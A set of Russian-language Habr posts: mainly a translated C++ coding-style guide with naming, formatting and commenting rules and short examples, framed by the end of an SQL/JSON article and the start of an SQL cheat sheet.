Где я показываю отношения загрузочный битов (т.е Дочерних записей) с полями которых я легко могу работать на клиенте с массивом JSON.
Выводы
=======
Если вы знаете SQL не очень хорошо — особенно как ваши любимая СУБД реализует его – воспользуйтесь этой неделей чтобы узнать его лучше. Это очень мощное средство для работы вашего приложения: ваши данные. | https://habr.com/ru/post/258153/ | null | ru | null |
# 90 рекомендаций по стилю написания программ на C++
> *От переводчика. Искал в интернете простой и легко применимый гайдлайн по написанию программ на C++. Мне понравился один из вариантов, и я решил его перевести и опубликовать. Если хабрапользователи хорошо встретят этот топик, могу перевести и другие связанные документы, а также гайдлайны по написанию кода от других компаний.*
#### 1 Введение
Настоящий документ содержит рекомендации по написанию программ на языке C++.
Рекомендации основаны на установившихся стандартах, собранных из различных источников, личного опыта, частных требований и потребностей определённых проектов, а также почерпнутых из источников (см. ниже).
Но для появления ещё одного списка рекомендаций, помимо указанных источников, есть несколько причин. Основная причина — их излишняя обобщённость, поскольку зачастую требуется задать частные правила (в особенности правила именования). Данный документ содержит комментарии, что делает его более удобным в использовании при проведении ревизий кода, чем другие уже существующие документы. К тому же, рекомендации по программированию обычно вперемешку содержат описания проблем стиля и технических проблем, что не совсем удобно. Этот документ не содержит каких-либо технических рекомендаций по C++, делая упор на вопросах стиля.
Имеющиеся среды разработки могут улучшить читаемость кода с помощью отображения модификаторов доступа, подсветки кода, автоматического форматирования и прочего, но программисту не следует полагаться на эти инструменты. Исходный код должен рассматриваться не только в рамках используемой среды разработки и должен быть написан так, чтобы максимально улучшить читаемость независимо от среды.
##### 1.1 Формат документа
Рекомендации сгруппированы по темам и пронумерованы, чтобы на них можно было ссылаться во время ревизий кода.
Рекомендации отображаются следующим образом:
**n. Короткое описание рекомендации.**
```
// Пример кода (если возможно)
```
Объяснение, происхождение и дополнительная информация.
Комментарии к рекомендациям особенно важны, поскольку стандарты написания кода и гайдлайны обычно разжигают «холивары», и важным моментом является объяснение рекомендации.
##### 1.2 Важность рекомендаций
Рекомендации разделены по степени важности: обязательные, настоятельно рекомендуемые и общие.
#### 2 Общие рекомендации
**1. Допускаются любые нарушения рекомендаций, если это улучшает читаемость.**
Основная цель рекомендаций — улучшение читаемости и, следовательно, ясности и лёгкости поддержки, а также общего качества кода. Невозможно дать рекомендации на все случаи жизни, поэтому программист должен мыслить гибко.
**2. Правила могут быть нарушены, если против них есть персональные возражения.**
Это попытка создать набор общих рекомендаций, не навязывая всем единый стиль. Опытные программисты обычно всё равно подгоняют стиль под себя. Подобный список рекомендаций, имеющийся под рукой (или хотя бы требование ознакомиться с ним), обычно заставляет людей задумываться о стиле программирования и оценке их собственных практик в этой области.
С другой стороны, новички и неопытные программисты обычно используют рекомендации по стилю для лучшего понимания жаргона программистов.
#### 3 Соглашения об именовании
##### 3.1 Общие соглашения об именовании
**3. Имена, представляющие типы, должны быть обязательно написаны в смешанном регистре, начиная с верхнего.**
```
Line, SavingsAccount
```
Общая практика в сообществе разработчиков C++.
**4. Имена переменных должны быть записаны в смешанном регистре, начиная с нижнего.**
```
line, savingsAccount
```
Общая практика в сообществе разработчиков C++. Позволяет легко отличать переменные от типов, предотвращает потенциальные коллизии имён, например: Line line;
**5. Именованные константы (включая значения перечислений) должны быть записаны в верхнем регистре с нижним подчёркиванием в качестве разделителя.**
```
MAX_ITERATIONS, COLOR_RED, PI
```
Общая практика в сообществе разработчиков C++. Использование таких констант должно быть сведено к минимуму. В большинстве случаев реализация значения в виде метода — лучшее решение:
```
int getMaxIterations() // НЕЛЬЗЯ: MAX_ITERATIONS = 25
{
return 25;
}
```
Эта форма более читаемая и гарантирует единый интерфейс к значениям, хранящимся в классе.
**6. Названия методов и функций должны быть глаголами, быть записанными в смешанном регистре и начинаться с нижнего.**
```
getName(), computeTotalWidth()
```
Совпадает с правилом для переменных, но отличие между ними состоит в их специфических формах.
**7. Названия пространств имён следует записывать в нижнем регистре.**
```
model::analyzer, io::iomanager, common::math::geometry
```
Общая практика в сообществе разработчиков C++.
**8. Следует называть имена типов в шаблонах одной заглавной буквой.**
```
template ...
template ...
```
Общая практика в сообществе разработчиков C++. Позволяет выделить имена шаблонов среди других используемых имён.
**9. Аббревиатуры и сокращения в именах должны записываться в нижнем регистре.**
```
exportHtmlSource(); // НЕЛЬЗЯ: exportHTMLSource();
openDvdPlayer(); // НЕЛЬЗЯ: openDVDPlayer();
```
Использование верхнего регистра может привести к конфликту имён, описанному выше. Иначе переменные бы имели имена dVD, hTML и т. д., что не является удобочитаемым. Другая проблема уже описана выше; когда имя связано с другим, читаемость снижается; слово, следующее за аббревиатурой, не выделяется так, как следовало бы.
**10. Глобальные переменные всегда следует использовать с оператором разрешения области видимости (::).**
```
::mainWindow.open(), ::applicationContext.getName()
```
Следует избегать использования глобальных переменных. Предпочтительнее использование синглтонов.
**11. Членам класса с модификатором** private **следует присваивать суффикс-подчёркивание.**
```
class SomeClass {
private:
int length_;
}
```
Не считая имени и типа, область видимости — наиболее важное свойство переменной. Явное указание модификатора доступа в виде подчёркивания избавляет от путаницы между членами класса и локальными переменными. Это важно, поскольку переменные класса имеют большее значение, нежели переменные в методах, и к ним следует относиться более осторожно.
Дополнительным эффектом от суффикса-подчёркивания является разрешение проблемы именования в методах, устанавливающих значения, а также в конструкторах:
```
void setDepth (int depth)
{
depth_ = depth;
}
```
Проблема заключается в том, что существует два варианта подчёркивания — в виде суффикса и в виде префикса. Оба варианта широко используются, но рекомендуется именно первый вариант, потому что он обеспечивает лучшую читаемость. Следует отметить, что определение модификатора доступа у переменных — иногда спорный вопрос. Хотя кажется, что рекомендуемая практика набирает сторонников и становится всё более распространённой в среде профессионалов.
**12. Настраиваемым переменным следует давать то же имя, что и у их типа.**
```
void setTopic(Topic* topic) // НЕЛЬЗЯ: void setTopic(Topic* value)
// НЕЛЬЗЯ: void setTopic(Topic* aTopic)
// НЕЛЬЗЯ: void setTopic(Topic* t)
void connect(Database* database) // НЕЛЬЗЯ: void connect(Database* db)
// НЕЛЬЗЯ: void connect (Database* oracleDB)
```
Сокращайте сложность путём уменьшения числа используемых терминов и имён. Также упрощает распознавание типа просто по имени переменной.
Если по какой-то причине эта рекомендация кажется неподходщей, это означает, что имя типа выбрано неверно.
Не являющиеся настраиваемыми переменные могут быть названы по их назначению и типу:
```
Point startingPoint, centerPoint;
Name loginName;
```
**13. Все имена следует записывать по-английски.**
```
fileName; // НЕ РЕКОМЕНДУЕТСЯ: imyaFayla
```
Английский наиболее предпочитетелен для интернациональной разработки.
**14. Переменные, имеющие большую область видимости, следует называть длинными именами, имеющие небольшую область видимости — короткими.**
Имена временных переменных, использующихся для хранения временных значений или индексов, лучше всего делать короткими. Программист, читающий такие переменные, должен иметь возможность предположить, что их значения не используются за пределами нескольких строк кода. Обычно это переменные *i*, *j*, *k*, *l*, *m*, *n* (для целых), а также *c* и *d* (для символов).
**15. Имена объектов не указываются явно, следует избегать указания названий объектов в именах методов.**
```
line.getLength(); // НЕ РЕКОМЕНДУЕТСЯ: line.getLineLength();
```
Второй вариант смотрится вполне естественно в объявлении класса, но совершенно избыточен при использовании, как это и показано в примере.
*(Пункт № 16 отсутствует.— Примечание переводчика.)*
##### 3.2 Особые правила именования
**17. Слова** get/set **должны быть использованы везде, где осуществляется прямой доступ к атрибуту.**
```
employee.getName();
employee.setName(name);
matrix.getElement(2, 4);
matrix.setElement(2, 4, value);
```
Общая практика в сообществе разработчиков C++. В Java это соглашение стало более-менее стандартным.
**18. Слово** compute **может быть использовано в методах, вычисляющих что-либо.**
```
valueSet->computeAverage();
matrix->computeInverse()
```
Дайте читающему сразу понять, что это времязатратная операция.
**19. Слово** find **может быть использовано в методах, осуществляющих какой-либо поиск.**
```
vertex.findNearestVertex();
matrix.findMinElement();
```
Дайте читающему сразу понять, что это простой метод поиска, не требующий больших вычислений.
**20. Слово** initialize **может быть использовано там, где объект или сущность инициализируется.**
```
printer.initializeFontSet();
```
Следует отдавать предпочтение американскому варианту initiali**z**e, нежели британскому initiali**s**e. Следует избегать сокращения init.
**21. Переменным, представляющим GUI, следует давать суффикс, соответствующий имени типа компонента.**
```
mainWindow, propertiesDialog, widthScale, loginText,
leftScrollbar, mainForm, fileMenu, minLabel, exitButton, yesToggle и т. д.
```
Улучшает читаемость, поскольку имя даёт пользователю прямую подсказку о типе переменной и, следовательно, ресурсах объектов.
**22. Множественное число следует использовать для представления наборов (коллекций) объектов.**
```
vector points;
int values[];
```
Улучшает читаемость, поскольку имя даёт пользователю прямую подсказку о типе переменной и операциях, которые могут быть применены к этим элементам.
**23. Префикс** n **следует использовать для представления числа объектов.**
```
nPoints, nLines
```
Обозначение взято из математики, где оно является установившимся соглашением для обозначения числа объектов.
**24. Суффикс** No **следует использовать для обозначения номера сущности.**
```
tableNo, employeeNo
```
Обозначение взято из математики, где оно является установившимся соглашением для обозначения номера сущности.
Другой неплохой альтернативой является префикс *i*: iTable, iEmployee. Он ясно даёт понять, что перед нами именованный итератор.
**25. Переменным-итераторам следует давать имена** i, j, k **и т. д.**
```
for (int i = 0; i < nTables); i++) {
:
}
for (vector::iterator i = list.begin(); i != list.end(); i++) {
Element element = \*i;
...
}
```
Обозначение взято из математики, где оно является установившимся соглашением для обозначения итераторов.
Переменные с именами *j*, *k* и т. д. рекомендуется использовать только во вложенных циклах.
**26. Префикс** is **следует использовать только для булевых (логических) переменных и методов.**
```
isSet, isVisible, isFinished, isFound, isOpen
```
Общая практика в сообществе разработчиков C++, иногда используемая и в Java.
Использование этого префикса избавляет от таких имён, как *status* или *flag*. *isStatus* или *isFlag* просто не подходят, и программист вынужден выбирать более осмысленные имена.
В некоторых ситуациях префикс *is* лучше заменить на другой: *has*, *can* или *should*:
```
bool hasLicense();
bool canEvaluate();
bool shouldSort();
```
**27. Симметричные имена должны использоваться для соответствующих операций.**
```
get/set, add/remove, create/destroy, start/stop, insert/delete,
increment/decrement, old/new, begin/end, first/last, up/down, min/max,
next/previous, old/new, open/close, show/hide, suspend/resume, и т. д.
```
Уменьшайте сложность за счёт симметрии.
**28. Следует избегать сокращений в именах.**
```
computeAverage(); // НЕЛЬЗЯ: compAvg();
```
Рассмотрим два вида слов. Первые — обычные слова, перечисляемые в словарях, которые нельзя сокращать. Никогда не сокращайте:
```
cmd вместо command
cp вместо copy
pt вместо point
comp вместо compute
init вместо initialize
и т. д.
```
Второй вид — слова, специфичные для какой-либо области, которые известны по своему сокращению/аббревиатуре. Их следует записывать сокращённо. Никогда не пишите:
```
HypertextMarkupLanguage вместо html
CentralProcessingUnit вместо cpu
PriceEarningRatio вместо pe
и т. д.
```
**29. Следует избегать дополнительного именования указателей.**
```
Line* line; // НЕ РЕКОМЕНДУЕТСЯ: Line* pLine;
// НЕ РЕКОМЕНДУЕТСЯ: Line* linePtr;
```
Множество переменных в C/C++ являются указателями. Только в том случае, когда тип объекта в языке C++ особенно важен, имя должно отражать его.
**30. Нельзя давать булевым (логическим) переменным имена, содержащие отрицание.**
```
bool isError; // НЕЛЬЗЯ: isNoError
bool isFound; // НЕЛЬЗЯ: isNotFound
```
Проблема возникает, когда такое имя используется в конъюнкции с оператором логического отрицания, что влечёт двойное отрицание. Результат не обязательно будет отрицанием *!isNotFound*.
**31. Константы в перечислениях могут иметь префикс — общее имя типа.**
```
enum Color {
COLOR_RED,
COLOR_GREEN,
COLOR_BLUE
};
```
Это даёт дополнительную информацию о том, где находится объявление, какие константы описаны в одном перечислении, а также какую концепцию являют собой константы.
Другим подходом является обращение к константам по их общему типу: Color::RED, Airline::AIR\_FRANCE и т. д.
Обратите внимание, что имя перечисления обычно записано в единственном числе, например: enum Color {...}. Имя во множественном числе хорошо выглядит при объявлении, но не очень хорошо подходит для практического использования.
**32. Классам исключений следует присваивать суффикс** Exception**.**
```
class AccessException
{
:
}
```
Классы исключений в действительности не являются частью архитектуры программ, и такое именование отделяет их от других классов.
**33. Функциям (методам, возвращающим какие-либо значения) следует давать имена в зависимости от того, что они возвращают, а процедурам — в зависимости от того, что они выполняют (методы void).**
Улучшайте читаемость. Такое именование даёт понять, что метод делает, а что нет, а также избавляет код от потенциальных побочных эффектов.
#### 4 Файлы
##### 4.1 Файлы исходных кодов
**34. Заголовочным файлам C++ следует давать расширение** .h **(предпочтительно) либо** .hpp**. Файлы исходных кодов могут иметь расширения** .c++ **(рекомендуется),** .C**,** .cc **либо** .cpp**.**
```
MyClass.c++, MyClass.h
```
Это расширения, одобряемые стандартом C++.
**35. Класс следует объявлять в заголовочном файле и определять (реализовывать) в файле исходного кода, имена файлов совпадают с именем класса.**
```
MyClass.h, MyClass.c++
```
Облегчает поиск связанных с классом файлов. Очевидное исключение — шаблонные классы, которые должны быть объявлены и определены в заголовочном файле.
**36. Все определения должны находиться в файлах исходного кода.**
```
class MyClass
{
public:
int getValue () {return value_;} // НЕЛЬЗЯ!
...
private:
int value_;
}
```
Заголовочные файлы объявляют интерфейс, файлы исходного кода его реализовывают. Если программисту необходимо найти реализацию, он должен быть уверен, что найдёт её именно в файле исходного кода.
**37. Содержимое файлов не должно превышать 80 колонок.**
80 колонок — широко распространённое разрешение для редакторов, эмуляторов терминалов, принтеров и отладчиков; файлы передаются между различными людьми, поэтому нужно придерживаться этих ограничений. Уместная разбивка строк улучшает читаемость при совместной работе над исходным кодом.
**38. Нельзя использовать специальные символы (например, TAB) и разрывы страниц.**
Такие символы вызывают ряд проблем, связанных с редакторами, эмуляторами терминалов и отладчиками, используемыми в программах для совместной разработки и кроссплатформенных средах.
**39. Незавершённость разбитых строк должна быть очевидна.**
```
totalSum = a + b + c +
d + e;
function (param1, param2,
param3);
setText ("Long line split"
"into two parts.");
for (int tableNo = 0; tableNo < nTables;
tableNo += tableStep) {
...
}
```
Разбивка строк появляется, когда ограничение на 80 колонок, описанное выше, нарушается. Сложно дать жёсткие правила по разбивке, но примеры выше показывают общие принципы.
В общем случае:
* разрыв после запятой;
* разрыв после оператора;
* выравнивание новой строки с началом выражения на предыдущей строке.
##### 4.2 Включения файлов
**40. Заголовочные файлы должны содержать защиту от вложенного включения.**
```
#ifndef COM_COMPANY_MODULE_CLASSNAME_H
#define COM_COMPANY_MODULE_CLASSNAME_H
:
#endif // COM_COMPANY_MODULE_CLASSNAME_H
```
Конструкция позволяет избегать ошибок компиляции. Это соглашение позволяет увидеть положение файла в структуре проекта и предотвращает конфликты имён.
**41. Директивы включения следует сортировать (по месту в иерархии системы, ниже уровень — выше позиция) и группировать. Оставляйте пустую строку между группами.**
```
#include
#include
#include
#include
#include "com/company/ui/PropertiesDialog.h"
#include "com/company/ui/MainWindow.h"
```
Пути включения не должны быть абсолютными. Вместо этого следует использовать директивы компилятора.
**42. Директивы включения должны располагаться только в начале файла.**
Общая практика. Избегайте нежелательных побочных эффектов, которые может вызвать «скрытое» включение где-то в середине файла исходного кода.
#### 5 Выражения
##### 5.1 Типы
**43. Локальные типы, используемые в одном файле, должны быть объявлены только в нём.**
Улучшает сокрытие информации.
**44. Разделы класса** public**,** protected **и** private **должны быть отсортированы. Все разделы должны быть явно указаны.**
Сперва должен идти раздел *public*, что избавит желающих ознакомиться с классом от чтения разделов *protected/private*.
**45. Приведение типов должно быть явным. Никогда не полагайтесь на неявное приведение типов.**
```
floatValue = static_cast(intValue); // НЕЛЬЗЯ: floatValue = intValue;
```
Этим программист показывает, что ему известно о различии типов, что смешение сделано намеренно.
##### 5.2 Переменные
**46. Следует инициализировать переменные в месте их объявления.**
Это даёт гарантию, что переменные пригодны для использования в любой момент времени. Но иногда нет возможности осуществить это:
```
int x, y, z;
getCenter(&x, &y, &z);
```
В этих случаях лучше оставить переменные неинициализированными, чем присваивать им какие-либо значения.
**47. Переменные никогда не должны иметь двойной смысл.**
Улучшайте читаемость, убеждаясь, что все представленные концепции не предполагают разночтений. Сокращайте возможность ошибки из-за побочных эффектов.
**48. Следует избегать использования глобальных переменных.**
Не существует причины использовать глобальные переменные в C++ (на самом деле существует.— Примечание переводчика). То же касается глобальных функций и (статических) переменных, область видимости которых — весь файл.
**49. Не следует объявлять переменные класса как** public**.**
Эти переменные нарушают принципы сокрытия информации и инкапсуляции. Вместо этого используйте переменные с модификатором *private* и соответствующие функции доступа. Исключение — класс без поведения, практически структура данных (эквивалент структур языка C). В этом случае нет смысла скрывать эти переменные.
Обратите внимание, что структуры в языке C++ оставлены только для совместимости с C; их использование ухудшает читаемость кода. Вместо структур используйте классы.
*(Пункт № 50 отсутствует.— Примечание переводчика.)*
**51. Символ указателя или ссылки в языке C++ следует ставить сразу после имени типа, а не с именем переменной.**
```
float* x; // НЕ РЕКОМЕНДУЕТСЯ: float *x;
int& y; // НЕ РЕКОМЕНДУЕТСЯ: int &y
```
То, что переменная — указатель или ссылка, относится скорее к её типу, а не к имени. Программисты на C часто используют другой подход, но в C++ лучше придерживаться этой рекомендации.
*(Пункт № 52 отсутствует.— Примечание переводчика.)*
**53. Следует избегать неявного сравнения булевых (логических) переменных и указателей с нулём.**
```
if (nLines != 0) // НЕ РЕКОМЕНДУЕТСЯ: if (nLines)
if (value != 0.0) // НЕ РЕКОМЕНДУЕТСЯ: if (value)
```
Стандарт C++ не гарантирует, что значения переменных int и float, равные нулю, будут представлены как бинарный 0. Также при явном сравнении видно сравниваемый тип.
Логично было бы предположить, что также и указатели не следует неявно сравнивать с нулём, например, if (line == 0) вместо if (line). Последнее является очень распространённой практикой в C/C++, поэтому также может быть использовано.
**54. Переменные следует объявлять в как можно меньшей области видимости.**
Это упрощает контроль над действием переменной и сторонними эффектами.
##### 5.3 Циклы
**55. Нельзя включать в конструкцию for() выражения, не относящиеся к управлению циклом.**
```
sum = 0; // НЕЛЬЗЯ: for (i = 0, sum = 0; i < 100; i++)
for (i = 0; i < 100; i++) sum += value[i];
sum += value[i];
```
Улучшайте поддержку и читаемость. Строго разделяйте контроль над циклом и то, что в нём содержится.
**56. Переменные, относящиеся к циклу, следует инициализировать непосредственно перед ним.**
```
isDone = false; // НЕ РЕКОМЕНДУЕТСЯ: bool isDone = false;
while (!isDone) { // :
: // while (!isDone) {
} // :
// }
```
**57. Можно избегать циклов do-while.**
Такие циклы хуже читаемы, поскольку условие описано после тела. Читающему придётся просмотреть весь цикл, чтобы понять его работу.
Циклы do-while вообще не являются острой необходимостью. Любой такой цикл может быть заменён на цикл while или for.
Меньшее число используемых конструкций улучшает читаемость.
**58. Следует избегать использования** break **и** continue **в циклах.**
Такие выражения следует использовать только тогда, когда они повышают читаемость.
*(Пункт № 59 отсутствует.— Примечание переводчика.)*
**60. Для бесконечных циклов следует использовать форму** while (true) **.**
```
while (true) {
:
}
for (;;) { // НЕТ!
:
}
while (1) { // НЕТ!
:
}
```
Проверка на единицу не является необходимой и бессмысленна. Форма for (;;) не очень читаема; также не является очевидным, что цикл бесконечный.
##### 5.4 Условные выражения
**61. Строго избегайте сложных уловных выражений. Вместо этого вводите булевы переменные.**
```
bool isFinished = (elementNo < 0) || (elementNo > maxElement);
bool isRepeatedEntry = elementNo == lastElement;
if (isFinished || isRepeatedEntry) {
:
}
// NOT:
if ((elementNo < 0) || (elementNo > maxElement)||
elementNo == lastElement) {
:
}
```
Задание булевых переменных для выражений приведёт к самодокументированию программы. Конструкцию будет легче читать, отлаживать и поддерживать.
**62. Ожидаемую часть следует располагать в части** if**, исключение — в части** else**.**
```
bool isOk = readFile (fileName);
if (isOk) {
:
}
else {
:
}
```
Это позволяет убедиться, что исключения не вносят неясности в нормальный ход выполнения. Важно для читаемости и производительности.
**63. Условие следует размещать в отдельной строке.**
```
if (isDone) // НЕ РЕКОМЕНДУЕТСЯ: if (isDone) doCleanup();
doCleanup();
```
Применяется для отладки.
**64. Следует строго избегать исполнимых выражений в условиях.**
```
File* fileHandle = open(fileName, "w");
if (!fileHandle) {
:
}
// НЕЛЬЗЯ:
if (!(fileHandle = open(fileName, "w"))) {
:
}
```
Исполняемые выражения в условиях усложняют читаемость. Особенно это касается новичков в С/С++.
##### 5.5 Разное
**65. Следует избегать «магических» чисел в коде. Числа, отличные от 0 или 1, следует объявлять как именованные константы.**
Если число само по себе не имеет очевидного значения, читаемость улучшается путём введения именованной константы. Другой подход — создание метода, с помощью которого можно было бы осуществлять доступ к константе.
**66. Константы с плавающей точкой следует записывать с десятичной точкой и с указанием по крайней мере одной цифры после запятой.**
```
double total = 0.0; // НЕ РЕКОМЕНДУЕТСЯ: double total = 0;
double speed = 3.0e8; // НЕ РЕКОМЕНДУЕТСЯ: double speed = 3e8;
double sum;
:
sum = (a + b) * 10.0;
```
Это подчёркивает различные подходы при работе с целыми числами и числами с плавающей точкой. С точки зрения математики, эти две модели совершенно различны и не совместимы.
А также (как это показано в последнем примере выше) делается акцент на типе переменной (sum) в том месте, где это не является очевидным.
**67. Константы с плавающей точкой следует всегда записывать, по крайней мере, с одной цифрой до десятичной точки.**
```
double total = 0.5; // НЕ РЕКОМЕНДУЕТСЯ: double total = .5;
```
Система чисел и выражений в C++ заимствована из математики, и следует придерживаться традиционных форм записи, где это возможно. Помимо прочего, 0.5 — более читаемо, чем .5 (первый вариант никак не спутать с числом 5).
**68. У функций нужно обязательно указывать тип возвращаемого значения.**
```
int getValue() // НЕЛЬЗЯ: getValue()
{
:
}
```
Если это не указано явно, C++ считает, что возвращаемое значение имеет тип int. Никогда нельзя полагаться на это, поскольку такой способ может смутить программистов, не знакомых с ним.
**69. Не следует использовать** goto**.**
Этот оператор нарушает принципы структурного программирования. Следует использовать только в очень редких случаях (например, для выхода из глубоко вложенного цикла), когда иные варианты однозначно ухудшат читаемость.
**70. Следует использовать «0» вместо «NULL».**
NULL является частью стандартной библиотеки C и устарело в C++.
#### 6 Оформление и комментарии
##### 6.1 Оформление
**71. Основной отступ следует делать в два пробела.**
```
for (i = 0; i < nElements; i++)
a[i] = 0;
```
Отступ в один пробел достаточно мал, чтобы отражать логическую структуру кода. Отступ более 4 пробелов делает глубоко вложенный код нечитаемым и увеличивает вероятность того, что строки придётся разбивать. Широко распространены варианты в 2, 3 или 4 пробела; причём 2 и 4 — более широко.
**72. Блоки кода следует оформлять так, как показано в примере 1 (рекомендуется) или в примере 2, но ни в коем случае не так, как показано в примере 3. Оформление функций и классов должно следовать примеру 2.**
```
while (!done) {
doSomething();
done = moreToDo();
}
```
```
while (!done)
{
doSomething();
done = moreToDo();
}
```
```
while (!done)
{
doSomething();
done = moreToDo();
}
```
Пример 3 использует лишние отступы, что мешает ясному отображению логической структуры кода.
**73. Объявления классов следует оформлять следующим образом:**
```
class SomeClass : public BaseClass
{
public:
...
protected:
...
private:
...
}
```
Частное следствие из правила, указанного выше.
**74. Определения методов следует оформлять следующим образом:**
```
void someMethod()
{
...
}
```
Следствие из правила, указанного выше.
**75. Конструкцию** if-else **следует оформлять следующим образом:**
```
if (condition) {
statements;
}
if (condition) {
statements;
}
else {
statements;
}
if (condition) {
statements;
}
else if (condition) {
statements;
}
else {
statements;
}
```
Следствие из правила, указанного выше. Причём написание *else* на той же строке, где стоит закрывающая фигурная скобка первого блока, не является запрещённым:
```
if (condition) {
statements;
} else {
statements;
}
```
Лучше каждую часть if-else помещать на отдельной строке. Это упрощает действия с кодом, например, перемещение блока *else*.
**76. Цикл** for **следует оформлять следующим образом:**
```
for (initialization; condition; update) {
statements;
}
```
Следствие из правила, указанного выше.
**77. Цикл** for **с пустым телом следует оформлять следующим образом:**
```
for (initialization; condition; update)
;
```
Делает акцент для читающего на том, что тело пусто. Однако циклов, не имеющих тела, следует избегать.
**78. Цикл** while **следует оформлять следующим образом:**
```
while (condition) {
statements;
}
```
Следствие из правила, указанного выше.
**79. Цикл** do-while **следует оформлять следующим образом:**
```
do {
statements;
} while (condition);
```
Следствие из правила, указанного выше.
**80. Конструкцию** switch **следует оформлять следующим образом:**
```
switch (condition) {
case ABC :
statements;
// Отсутствует "break"
case DEF :
statements;
break;
case XYZ :
statements;
break;
default :
statements;
break;
}
```
Обратите внимание, что каждое слово *case* имеет отступ относительно всей конструкции, что помогает её выделить. Также обратите внимание на пробелы перед двоеточиями. Если где-то отсутствует ключевое слово *break*, то предупреждением об этом должен служить комментарий. Программисты часто забывают ставить это слово, поэтому случай нарочного его пропуска должен описываться специально.
**81. Конструкцию** try-catch **следует оформлять следующим образом:**
```
try {
statements;
}
catch (Exception& exception) {
statements;
}
```
Следствие из правила, указанного выше. Вопросы, касающиеся закрывающих фигурных скобок у конструкции *if-else*, применимы и здесь.
**82. Если конструкция** if-else **содержит только одно выражение в теле, фигурные скобки можно опускать.**
```
if (condition)
statement;
while (condition)
statement;
for (initialization; condition; update)
statement;
```
Рекомендуется всё же не опускать фигурные скобки.
**83. Возвращаемый функцией тип может располагаться над именем самой функции.**
```
void
MyClass::myMethod(void)
{
:
}
```
Так функции выровнены в одну колонку.
##### 6.2 Пробелы
**84.**
— Операторы следует отбивать пробелами.
— После зарезервированных ключевых слов языка C++ следует ставить пробел.
— После запятых следует ставить пробелы.
— Двоеточия следует отбивать пробелами.
— После точек с запятой в цикле *for* следует ставить пробелы.
```
a = (b + c) * d; // НЕ РЕКОМЕНДУЕТСЯ: a=(b+c)*d
while (true) // НЕ РЕКОМЕНДУЕТСЯ: while(true)
{
...
doSomething(a, b, c, d); // НЕ РЕКОМЕНДУЕТСЯ: doSomething(a,b,c,d);
case 100 : // НЕ РЕКОМЕНДУЕТСЯ: case 100:
for (i = 0; i < 10; i++) { // НЕ РЕКОМЕНДУЕТСЯ: for(i=0;i<10;i++){
...
```
Выделяет отдельные части выражений. Улучшает читаемость. Сложно дать всеобъемлющий набор рекомендаций относительно пробелов в языке C++. Рекомендации выше должны показать общие принципы.
**85. После имён методов может идти пробел, если далее следует другое имя.**
```
doSomething (currentFile);
```
Выделяет отдельные имена. Улучшает читаемость. Если далее нет никакого имени, пробел можно опускать (doSomething()).
Другим подходом является указание пробела сразу после открывающей скобки. Использующие его также обычно ставят пробел и перед закрывающей скобкой: doSomething( currentFile );. Это позволяет выделять отдельные имена; пробел перед закрывающей скобкой выглядит неестественно, но без него выражение выглядит несимметрично (doSomething( currentFile);).
**86. Логические блоки в коде следует отделять пустой строкой.**
```
Matrix4x4 matrix = new Matrix4x4();
double cosAngle = Math.cos(angle);
double sinAngle = Math.sin(angle);
matrix.setElement(1, 1, cosAngle);
matrix.setElement(1, 2, sinAngle);
matrix.setElement(2, 1, -sinAngle);
matrix.setElement(2, 2, cosAngle);
multiply(matrix);
```
Улучшает читаемость.
**87. Методы рекомендуется отделять тремя пустыми строками.**
Это позволяет лучше их выделять.
**88. Переменные в объявлениях можно выравнивать.**
```
AsciiFile* file;
int nPoints;
float x, y;
```
Улучшает читаемость. Чётче видны пары *тип — переменная*.
**89. Используйте выравнивание везде, где это улучшает читаемость.**
```
if (a == lowValue) compueSomething();
else if (a == mediumValue) computeSomethingElse();
else if (a == highValue) computeSomethingElseYet();
value = (potential * oilDensity) / constant1 +
(depth * waterDensity) / constant2 +
(zCoordinateValue * gasDensity) / constant3;
minPosition = computeDistance(min, x, y, z);
averagePosition = computeDistance(average, x, y, z);
switch (value) {
case PHASE_OIL : strcpy(phase, "Oil"); break;
case PHASE_WATER : strcpy(phase, "Water"); break;
case PHASE_GAS : strcpy(phase, "Gas"); break;
}
```
Есть множество случаев, когда код можно дополнительно выравнивать, даже если это нарушает установленные ранее правила.
##### 6.3 Комментарии
**90. Сложный код, написанный с использованием хитрых ходов, следует не комментировать, а переписывать!**
Следует делать как можно меньше комментариев, делая код самодокументируемым путём выбора правильных имён и создания ясной логической структуры.
**91. Все комментарии следует писать на английском.**
В интернациональной среде английский — предпочтительный язык.
**92. Используйте** // **для всех комментариев, включая многострочные.**
```
// Комментарий, расположенный
// на нескольких строках.
```
Если следовать этой рекомендации, многострочные комментарии */\* \*/* можно использовать для отладки и иных целей.
После *//* следует ставить пробел, а сам комментарий следует начинать писать с большой буквы завершать точкой.
**93. Комментарии следует располагать так, чтобы они относились к тому, что они описывают.**
```
while (true) { // НЕ РЕКОМЕНДУЕТСЯ: while (true) {
// Do something // Do something
something(); something();
} }
```
Это делается с тем, чтобы избежать ситуацию, когда комментарии нарушают логическую структуру программы.
**94. Комментарии к классам и заголовкам методов следует делать в соответствии с соглашениями JavaDoc.**
Программисты на языке Java используют более развитый подход к документированию благодаря стандартному автоматическому средству Javadoc, которое является частью пакета разработки и позволяет автоматически создавать документацию в формате HTML из комментариев в коде.
Подобные средства есть и в C++. Они следуют тем же соглашениям о синтаксисе тегов, что и JavaDoc (см., например, Doc++ или Doxygen).
#### 7 Ссылки
* Code Complete, Steve McConnell — Microsoft Press
* Programming in C++, Rules and Recommendations, M Henricson, e. Nyquist, Ellemtel (Swedish telecom): <http://www.doc.ic.ac.uk/lab/cplus/c%2b%2b.rules/>
* Wildfire C++ Programming Style, Keith Gabryelski, Wildfire Communications Inc.: <http://www.wildfire.com/~ag/Engineering/Development/C++Style/>
* C++ Coding Standard, Todd Hoff: <http://www.possibility.com/Cpp/CppCodingStandard.htm>
* Doxygen documentation system: <http://www.stack.nl/~dimitri/doxygen/index.html> | https://habr.com/ru/post/172091/ | null | ru | null |
# Памятка/шпаргалка по SQL
Доброго времени суток, друзья!
Изучение настоящей шпаргалки не сделает вас мастером SQL, но позволит получить общее представление об этом языке программирования и возможностях, которые он предоставляет. Рассматриваемые в шпаргалке возможности являются общими для всех или большинства диалектов SQL.
Для более полного погружения в SQL рекомендую изучить эти руководства по [MySQL](https://metanit.com/sql/mysql/) и [PostgreSQL](https://metanit.com/sql/postgresql/) от Метанита. Они хороши тем, что просты в изучении и позволяют быстро начать работу с названными СУБД.
[`Официальная документация по MySQL`](https://dev.mysql.com/doc/refman/8.0/en/).
[`Официальная документация по PostreSQL`](https://postgrespro.ru/docs/postgresql/13/index) (на русском языке).
